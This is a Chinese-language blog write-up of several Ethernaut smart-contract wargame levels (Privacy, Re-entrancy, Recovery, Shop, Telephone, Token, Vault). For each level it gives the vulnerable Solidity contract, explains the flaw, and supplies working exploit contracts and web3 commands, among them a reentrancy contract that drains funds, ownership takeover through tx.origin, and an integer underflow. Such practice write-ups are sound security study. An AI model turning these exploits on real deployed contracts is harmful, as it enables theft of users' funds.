夜间模式暗黑模式
字体
阴影
滤镜
圆角
Ethernaut智能合约题目整理(三)

Privacy

0x01 Task

pragma solidity ^0.4.18;

contract Privacy {

 bool public locked = true;
 uint256 public constant ID = block.timestamp;
 uint8 private flattening = 10;
 uint8 private denomination = 255;
 uint16 private awkwardness = uint16(now);
 bytes32[3] private data;

 function Privacy(bytes32[3] _data) public {
   data = _data;
}
 
 function unlock(bytes16 _key) public {
   require(_key == bytes16(data[2]));
   locked = false;
}

 /*
  A bunch of super advanced solidity algorithms...

    ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
    .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
    *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
    `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)
    ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

0x02 Solution

先按照Vault题目的思路,把private的数据读出来:

web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
// 0x000000000000000000000000000000000000000000000000000000fbbbff0a01
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
// 0x6f396091d021e1f8bcaa20b7ddee0f5d9a29812cba18da57c4f8d14cfa9db557
web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});
// 0x874250db8f2de50c3e45833b8b787acc995739a58c2fbee736b3e843f3f46bdb
web3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});
// 0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e
web3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});
// 0x0000000000000000000000000000000000000000000000000000000000000000

每一个存储位是32个字节,根据Solidity的优化规则,当变量所占空间小于32字节时,会与后面的变量共享空间(如果加上后面的变量也不超过32字节的话)

  • bool public locked = true 占 1 字节 -> 01
  • uint8 private flattening = 10 占 1 字节 -> 0a
  • uint8 private denomination = 255 占 1 字节 -> ff
  • uint16 private awkwardness = uint16(now) 占 2 字节 -> fbbb

对应第一个存储位fbbbff0a01

则解题需要的data[2]就应该在第四存储位0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e

注意有bytes16转换,取前16个字节即可

await contract.unlock("0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e")

Re-entrancy

0x01 Task

pragma solidity ^0.4.18;

contract Reentrance {

 mapping(address => uint) public balances;

 function donate(address _to) public payable {
   balances[_to] += msg.value;
}

 function balanceOf(address _who) public view returns (uint balance) {
   return balances[_who];
}

 function withdraw(uint _amount) public {
     // 首先确定是否有足够资产提币
     // 然后使用msg.sender.call.value(_amount)()发送eth
   if(balances[msg.sender] >= _amount) {
     if(msg.sender.call.value(_amount)()) {
       _amount;
    }
       // 处理完毕 修改账户
     balances[msg.sender] -= _amount;
  }
}

 function() public payable {}
}

The goal of this level is for you to steal all the funds from the contract.

0x02 Solution

<address>.call.value()()
  • 当发送失败时会返回 false
  • 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

使用 msg.sender.call.value(amount)() 传递了所有可用 Gas 供调用,也是可以成功执行递归的前提条件。

image-20200508100804569

exp:

pragma solidity ^0.4.18;

contract Reentrance {

 mapping(address => uint) public balances;

 function donate(address _to) public payable {
   balances[_to] += msg.value;
}

 function balanceOf(address _who) public view returns (uint balance) {
   return balances[_who];
}

 function withdraw(uint _amount) public {
   if(balances[msg.sender] >= _amount) {
     if(msg.sender.call.value(_amount)()) {
       _amount;
    }
     balances[msg.sender] -= _amount;
  }
}

 function() public payable {}
}

contract exp {

   address instance_address = 0xe0216ad7f44524508a87036609c91f85ff6343bf;
   Reentrance target = Reentrance(instance_address);

   function exp() payable{}

   function donate() public payable {
       target.donate.value(msg.value)(this);
  }

   function attack() public {
       //这题有bug,不会自己回调fallback函数,要你写两次withdraw才可以
       target.withdraw(0.5 ether);
       target.withdraw(0.5 ether);
  }

   function get_balance() public view returns(uint) {
       return target.balanceOf(this);
  }

   function my_eth_bal() public view returns(uint) {
       return address(this).balance;
  }

   function ins_eth_bal() public view returns(uint) {
       return instance_address.balance;
  }

   function () public payable {
       //同理写两次
       target.withdraw(0.5 ether);
       target.withdraw(0.5 ether);
  }
}

先donate,再attack

Recovery

0x01 Task

pragma solidity ^0.4.23;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Recovery {

 //generate tokens
 function generateToken(string _name, uint256 _initialSupply) public {
   new SimpleToken(_name, msg.sender, _initialSupply);
 
}
}

contract SimpleToken {

 using SafeMath for uint256;
 // public variables
 string public name;
 mapping (address => uint) public balances;

 // constructor
 constructor(string _name, address _creator, uint256 _initialSupply) public {
   name = _name;
   balances[_creator] = _initialSupply;
}

 // collect ether in return for tokens
 function() public payable {
   balances[msg.sender] = msg.value.mul(10);
}

 // allow transfers of tokens
 function transfer(address _to, uint _amount) public {
   require(balances[msg.sender] >= _amount);
   balances[msg.sender] = balances[msg.sender].sub(_amount);
   balances[_to] = _amount;
}

 // clean up after ourselves
 function destroy(address _to) public {
   selfdestruct(_to);
}
}

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.

0x02 need2know

这一关要求拿到丢失的合约地址,并且拿回剩余的0.5eth

关于合约地址的找回,有两个方法可以实现:

计算合约地址

合约地址其实是被确切地计算出来的,文档中:

The address of the new account is defined as being the rightmost 160 bits of the Keccak hash of the RLP encoding of the structure containing only the sender and the account nonce. Thus we define the resultant address for the new account a ≡ B96..255 KEC RLP (s, σ[s]n − 1)

用公式表达就是

address = rightmost_20_bytes(keccak(RLP(sender address, nonce)))
  • sender address: is the contract or wallet address that created this new contract
  • nonce: is the number of transactions sent from the sender address OR, if the sender is a factory contract, the nonce is the number of contract-creations made by this account.
  • RLP: is an encoder on data structure, and is the default to serialize objects in Ethereum.
  • keccak: is a cryptographic primitive that compute the Ethereum-SHA-3 (Keccak-256) hash of any input.

根据文档,新的合约地址计算可以写作:

address public a = address(keccak256(0xd6, 0x94, YOUR_ADDR, 0x01));

Document

Etherscan

当然可以直接拿Etherscan看:

image-20200509102915981
  1. In Etherscan, look up your current contract by address.
  2. Inside the Internal Txns tab, locate the latest contract creation, and click on the link into the new contract.
  3. The new contract address should now show at the top left hand corner.

0x03 Solution

首先创建题目实例,拿到实例地址:

0x63e76164fc5c0ddc7039847a05a00a59fd535e67

计算:

web3.sha3("0xd6", "0x94", "0x63e76164fc5c0ddc7039847a05a00a59fd535e67", "0x01")

得到:

0x0fa38d5bb7c6919658f12eb7c38d4483c52ca32d3780b47ea31c09f52d953583

取最右20个字节:c38d4483c52ca32d3780b47ea31c09f52d953583

这里和Etherscan得出来的结论不一样,选择Etherscan的结果。

(我在做这系列题目的时候,可能web3库改动较大)

0x16c06E2B4547556FE78788422A10da831BE66613

exp:

pragma solidity ^0.6.6;

library SafeMath {
   function add(uint256 a, uint256 b) internal pure returns (uint256) {
       uint256 c = a + b;
       require(c >= a, "SafeMath: addition overflow");

       return c;
  }
   function sub(uint256 a, uint256 b) internal pure returns (uint256) {
       return sub(a, b, "SafeMath: subtraction overflow");
  }
   function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
       require(b <= a, errorMessage);
       uint256 c = a - b;

       return c;
  }
   function mul(uint256 a, uint256 b) internal pure returns (uint256) {
       // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
       // benefit is lost if 'b' is also tested.
       // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
       if (a == 0) {
           return 0;
      }

       uint256 c = a * b;
       require(c / a == b, "SafeMath: multiplication overflow");

       return c;
  }
   function div(uint256 a, uint256 b) internal pure returns (uint256) {
       return div(a, b, "SafeMath: division by zero");
  }
   function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
       require(b > 0, errorMessage);
       uint256 c = a / b;
       // assert(a == b * c + a % b); // There is no case in which this doesn't hold

       return c;
  }

   function mod(uint256 a, uint256 b) internal pure returns (uint256) {
       return mod(a, b, "SafeMath: modulo by zero");
  }

   function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
       require(b != 0, errorMessage);
       return a % b;
  }
}
contract SimpleToken {

 using SafeMath for uint256;
 // public variables
 string public name;
 mapping (address => uint) public balances;

 // constructor
 constructor(string memory _name, address _creator, uint256 _initialSupply) public {
   name = _name;
   balances[_creator] = _initialSupply;
}

 // collect ether in return for tokens
 fallback() external payable {
   balances[msg.sender] = msg.value.mul(10);
}

 // allow transfers of tokens
 function transfer(address _to, uint _amount) public {
   require(balances[msg.sender] >= _amount);
   balances[msg.sender] = balances[msg.sender].sub(_amount);
   balances[_to] = _amount;
}

 // clean up after ourselves
 function destroy(address payable _to) public {
   selfdestruct(_to);
}
}

contract Destroy{
   address payable receiver = msg.sender;
   SimpleToken killMeplease;
   
   function destroySimpleToken(address payable simpleTokenAddress) public{
       killMeplease = SimpleToken(simpleTokenAddress);
       killMeplease.destroy(receiver);
  }
   
}

Shop

0x01 Task

这篇是在solidity0.5版本下的wargame,0.4版本页面返回404

pragma solidity ^0.5.0;

interface Buyer {
 function price() external view returns (uint);
}

contract Shop {
 uint public price = 100;
 bool public isSold;

 function buy() public {
   Buyer _buyer = Buyer(msg.sender);

   if (_buyer.price.gas(3000)() >= price && !isSold) {
     isSold = true;
     price = _buyer.price.gas(3000)();
  }
}
}

Сan you get the item from the shop for less than the price asked?

0x02 need2know

修饰符view

View 函数

可以将函数声明为 view 类型,这种情况下要保证不修改状态。

下面的语句被认为是修改状态:

  1. 修改状态变量。
  2. 产生事件
  3. 创建其它合约
  4. 使用 selfdestruct
  5. 通过调用发送以太币。
  6. 调用任何没有标记为 view 或者 pure 的函数。
  7. 使用低级调用。
  8. 使用包含特定操作码的内联汇编。

0x03 Solution

exp:

pragma solidity ^0.5.0;

contract Shop {
 uint public price = 100;
 bool public isSold;

 function buy() public {
   Buyer _buyer = Buyer(msg.sender);

   if (_buyer.price.gas(3000)() >= price && !isSold) {
     isSold = true;
     price = _buyer.price.gas(3000)();
  }
}
}

contract Buyer{
   
   Shop target;
   
   function attack(address _addr) public{
       target = Shop(_addr);
       target.buy();
  }
   
   function price() external view returns (uint){
       if (Shop(msg.sender).isSold() == true){
           return 99;
      }
       return 101;
  }
}

使用isSold作为判断条件,返回不同的价格。

Telephone

0x01 Task

Mission: Take ownership

pragma solidity ^0.4.18;

contract Telephone {

 address public owner;

 function Telephone() public {
   owner = msg.sender;
}

 function changeOwner(address _owner) public {
   if (tx.origin != msg.sender) {
     owner = _owner;
  }
}
}

0x02 Solution

tx.origin不太知道。

当我调用合约A中的函数,而在合约A中的函数内部调用了合约B的函数,这种情况下tx.origin指向的是我的地址,而msg.sender指向的是合约A的地址。

所以针对这道题,另外写个攻击合约就行了

pragma solidity ^0.4.18;

contract Telephone {

 address public owner;

 function Telephone() public {
   owner = msg.sender;
}

 function changeOwner(address _owner) public {
   if (tx.origin != msg.sender) {
     owner = _owner;
  }
}
}

contract Attack {
 Telephone phone;
 // replace target xxx by your instance address
 address target = xxx;

 function Attack() {
     phone = Telephone(target);
}

 function claimOwnership() public {
     phone.changeOwner(msg.sender);
}
}

检查owner地址

await contract.owner()

Token

0x01 Task

一开始会给我20个token,想方设法拿到另外的token即为目标。

pragma solidity ^0.4.18;

contract Token {

 mapping(address => uint) balances;
 uint public totalSupply;

 function Token(uint _initialSupply) public {
   balances[msg.sender] = totalSupply = _initialSupply;
}

   // 给to送value个token
 function transfer(address _to, uint _value) public returns (bool) {
     // 保证caller有足够的token
   require(balances[msg.sender] - _value >= 0);
   balances[msg.sender] -= _value;
   balances[_to] += _value;
   return true;
}
// 提供调用者查看特定地址的token拥有数
 function balanceOf(address _owner) public view returns (uint balance) {
   return balances[_owner];
}
}

0x02 Solution

问题出在:

require(balances[msg.sender] - _value >= 0);

balances[msg.sender]是一个uint类型数,_value也是。两者相减仍然是uint数,对于这个判定来说恒为真。看下面的表达式:

balances[msg.sender] = 20 - 21;

这是一个典型的underflow,运算后的值将为2^256-1,而不是-1

直接调用transfer即可,to地址可以为自己的第二个测试账户地址

Vault

0x01 Task

Unlock the vault to pass the level!

pragma solidity ^0.4.18;

contract Vault {
 bool public locked;
 bytes32 private password;

 function Vault(bytes32 _password) public {
   locked = true;
   password = _password;
}

 function unlock(bytes32 _password) public {
   if (password == _password) {
     locked = false;
  }
}
}

0x02 Solution

合约逻辑很简单,需要知道 password 来解锁合约,而 password 属性设置了 private,无法被其他合约直接访问。

解决该问题的关键点在于,这是一个部署在区块链上的智能合约,而区块链上的所有信息都是公开的。

可以用 getStorageAt 函数来访问合约里变量的值。合约里一共两个变量,password 第二个声明,position 为 1。翻一下文档,getStorageAt 函数需要带上回调函数,可以选择直接把返回结果 alert 出来。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
暂无评论

发送评论 编辑评论


				
上一篇
下一篇